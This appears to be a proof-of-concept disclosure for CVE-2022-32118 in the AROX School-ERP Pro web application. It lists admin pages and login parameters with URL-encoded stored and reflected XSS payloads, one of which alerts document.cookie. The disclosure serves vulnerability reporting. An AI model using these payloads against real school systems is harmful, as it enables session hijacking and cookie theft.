CVE-2022-32118 PoC — AROX School-ERP Pro 跨站脚本漏洞

Description

CVE-2022-32118 - Arox-XSS

介绍

# CVE-2022-32118 - Arox-XSS
Stored and Reflected Cross Site Scripting vulnerabilities exist in multiple pages of the Arox School ERP Pro application, including the login page, that allows for arbitrary execution of JavaScript commands. The application has many more parameters affected by Cross Site Scripting but listed below are a sample size.

## Stored XSS Vulnerable Pages:

#### localhost/office_admin/?pid=74&action=dispatchcategoryedit&id=3
```
dispatchcategory=%3Cscript%3Ealert%28%27XSSDispatchGroupHere%27%29%3C%2Fscript%3E&submit=submit
```

#### localhost/office_admin/?pid=32&action=addcategoty&emsg=3
```
lib_category=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&libcat_desc=Test&AddCategory=Submit
```

#### localhost/office_admin/?pid=42&action=addadmin
```
admin_fname=Test&admin_lname=Test&admin_username=Test&admin_password=Test&admin_password2=Test&admin_email=Test&admin_phoneno=1234567899&adminlevel=%22%3E%3CscrIpt%3Ealert%28%27XSSHiddenHere%27%29%3B%3C%2FscRipt%3E&admin_more=&1_p=1_p&1_1=1_1&1_2=1_2&1_4=1_4&1_3=1_3&2_p=2_p&2_1=2_1&2_2=2_2&2_3=2_3&2_4=2_4&2_5=2_5&2_6=2_6&2_7=2_7&2_8=2_8&2_9=2_9&2_10=2_10&2_11=2_11&2_12=2_12&2_13=2_13&2_14=2_14&2_15=2_15&2_20=2_20&2_18=2_18&2_19=2_19&3_p=3_p&3_1=3_1&3_2=3_2&3_3=3_3&3_5=3_5&3_4=3_4&4_p=4_p&5_p=5_p&5_1=5_1&5_3=5_3&5_2=5_2&5_5=5_5&5_6=5_6&6_p=6_p&7_p=7_p&7_1=7_1&7_2=7_2&7_3=7_3&7_4=7_4&7_5=7_5&8_p=8_p&8_1=8_1&8_2=8_2&8_3=8_3&8_101=8_101&8_4=8_4&8_5=8_5&8_6=8_6&8_16=8_16&8_102=8_102&8_7=8_7&8_8=8_8&8_9=8_9&8_17=8_17&8_103=8_103&8_104=8_104&8_10=8_10&8_11=8_11&8_12=8_12&8_18=8_18&8_105=8_105&8_106=8_106&8_13=8_13&8_14=8_14&8_15=8_15&8_19=8_19&8_107=8_107&8_108=8_108&9_p=9_p&9_1=9_1&9_17=9_17&9_18=9_18&9_19=9_19&9_2=9_2&9_20=9_20&9_21=9_21&9_22=9_22&9_3=9_3&9_4=9_4&9_5=9_5&9_6=9_6&9_101=9_101&9_7=9_7&9_102=9_102&9_8=9_8&9_103=9_103&9_24=9_24&9_25=9_25&9_33=9_33&9_23=9_23&9_11=9_11&9_13=9_13&9_27=9_27&9_14=9_14&9_29=9_29&9_30=9_30&9_31=9_31&9_15=9_15&9_16=9_16&9_32=9_32&10_p=10_p&10_1=10_1&10_2=10_2&10_3=10_3&10_4=10_4&10_5=10_5&10_6=10_6&10_7=10_7&10_8=10_8&10_11=10_11&10_9=10_9&10_10=10_10&10_12=10_12&11_p=11_p&11_1=11_1&11_2=11_2&11_3=11_3&11_4=11_4&11_5=11_5&11_6=11_6&11_7=11_7&11_8=11_8&11_9=11_9&11_10=11_10&11_11=11_11&11_12=11_12&11_13=11_13&11_14=11_14&11_15=11_15&11_16=11_16&11_17=11_17&11_18=11_18&11_19=11_19&11_20=11_20&11_21=11_21&11_23=11_23&11_101=11_101&11_102=11_102&11_22=11_22&11_103=11_103&11_104=11_104&12_p=12_p&12_1=12_1&12_2=12_2&12_3=12_3&12_4=12_4&12_5=12_5&12_11=12_11&12_6=12_6&12_7=12_7&12_8=12_8&12_12=12_12&12_9=12_9&12_10=12_10&13_p=13_p&13_1=13_1&13_2=13_2&13_3=13_3&13_17=13_17&13_4=13_4&13_5=13_5&13_6=13_6&13_18=13_18&13_7=13_7&13_8=13_8&13_9=13_9&13_19=13_19&13_20=13_20&13_10=13_10&13_11=13_11&13_12=13_12&13_21=13_21&13_22=13_22&13_13=13_13&13_14=13_14&13_15=13_15&13_16=13_16&13_108=13_108&13_23=13_23&13_101=13_101&13_102=13_102&13_103=13_103&13_104=13_104&13_106=13_106&13_105=13_105&14_p=14_p&14_1=14_1&14_2=14_2&14_3=14_3&14_101=14_101&14_4=14_4&14_5=14_5&14_6=14_6&14_102=14_102&14_7=14_7&14_8=14_8&14_9=14_9&14_103=14_103&14_10=14_10&14_21=14_21&14_104=14_104&14_11=14_11&14_105=14_105&14_12=14_12&14_106=14_106&14_13=14_13&14_14=14_14&14_15=14_15&14_16=14_16&14_107=14_107&14_17=14_17&14_18=14_18&14_19=14_19&14_20=14_20&15_p=15_p&15_1=15_1&15_2=15_2&15_3=15_3&16_p=16_p&16_1=16_1&16_2=16_2&16_3=16_3&16_101=16_101&16_4=16_4&16_5=16_5&16_6=16_6&16_102=16_102&16_7=16_7&16_8=16_8&16_10=16_10&16_11=16_11&16_12=16_12&16_103=16_103&16_13=16_13&16_14=16_14&16_15=16_15&16_17=16_17&16_18=16_18&16_20=16_20&16_21=16_21&16_24=16_24&16_104=16_104&16_105=16_105&16_22=16_22&16_25=16_25&16_23=16_23&16_26=16_26&16_106=16_106&16_107=16_107&16_27=16_27&16_28=16_28&16_29=16_29&17_p=17_p&17_1=17_1&17_6=17_6&17_2=17_2&17_3=17_3&17_101=17_101&17_4=17_4&17_5=17_5&17_7=17_7&17_8=17_8&17_9=17_9&18_p=18_p&18_5=18_5&18_1=18_1&18_2=18_2&18_3=18_3&18_4=18_4&18_6=18_6&18_7=18_7&18_8=18_8&18_9=18_9&18_10=18_10&18_11=18_11&18_12=18_12&19_p=19_p&19_1=19_1&19_2=19_2&19_3=19_3&19_4=19_4&19_5=19_5&19_6=19_6&19_11=19_11&19_7=19_7&19_12=19_12&19_13=19_13&19_14=19_14&19_15=19_15&19_101=19_101&19_102=19_102&19_8=19_8&19_16=19_16&19_9=19_9&19_10=19_10&19_17=19_17&19_18=19_18&20_p=20_p&20_1=20_1&20_5=20_5&20_101=20_101&20_2=20_2&20_6=20_6&20_102=20_102&20_3=20_3&20_4=20_4&21_p=21_p&21_1=21_1&21_2=21_2&21_3=21_3&22_p=22_p&22_1=22_1&22_2=22_2&22_3=22_3&22_5=22_5&22_4=22_4&22_6=22_6&23_p=23_p&24_p=24_p&24_1=24_1&24_2=24_2&24_3=24_3&24_4=24_4&25_p=25_p&25_1=25_1&25_2=25_2&25_5=25_5&25_6=25_6&25_3=25_3&25_4=25_4&25_7=25_7&25_8=25_8&26_p=26_p&26_1=26_1&26_2=26_2&27_p=27_p&27_1=27_1&27_2=27_2&27_3=27_3&28_p=28_p&28_1=28_1&28_2=28_2&28_3=28_3&28_4=28_4&28_5=28_5&29_p=29_p&29_1=29_1&29_2=29_2&30_p=30_p&30_1=30_1&30_2=30_2&30_3=30_3&30_4=30_4&30_5=30_5&30_6=30_6&30_7=30_7&30_8=30_8&31_p=31_p&31_1=31_1&31_2=31_2&31_3=31_3&31_5=31_5&31_4=31_4&32_p=32_p&32_3=32_3&32_1=32_1&32_4=32_4&32_2=32_2&32_5=32_5&33_p=33_p&33_1=33_1&33_2=33_2&33_3=33_3&33_8=33_8&33_4=33_4&33_5=33_5&33_6=33_6&33_7=33_7&34_p=34_p&34_1=34_1&34_2=34_2&35_p=35_p&35_1=35_1&35_2=35_2&35_3=35_3&saveallowance=Submit
```

## Reflected XSS Vulnerable Pages:

#### localhost/username=%22%3E%3Cscript%3Ealert%28%27XSSUsernameHere%27%29%3B%3C%2Fscript%3E&password=&usertype=admin&Login.x=38&Login.y=17
#### localhost/username=&password=%22%3E%3Cscript%3Ealert%28%27XSSPasswordHere%27%29%3B%3C%2Fscript%3E&usertype=admin&Login.x=42&Login.y=14

文件快照

备注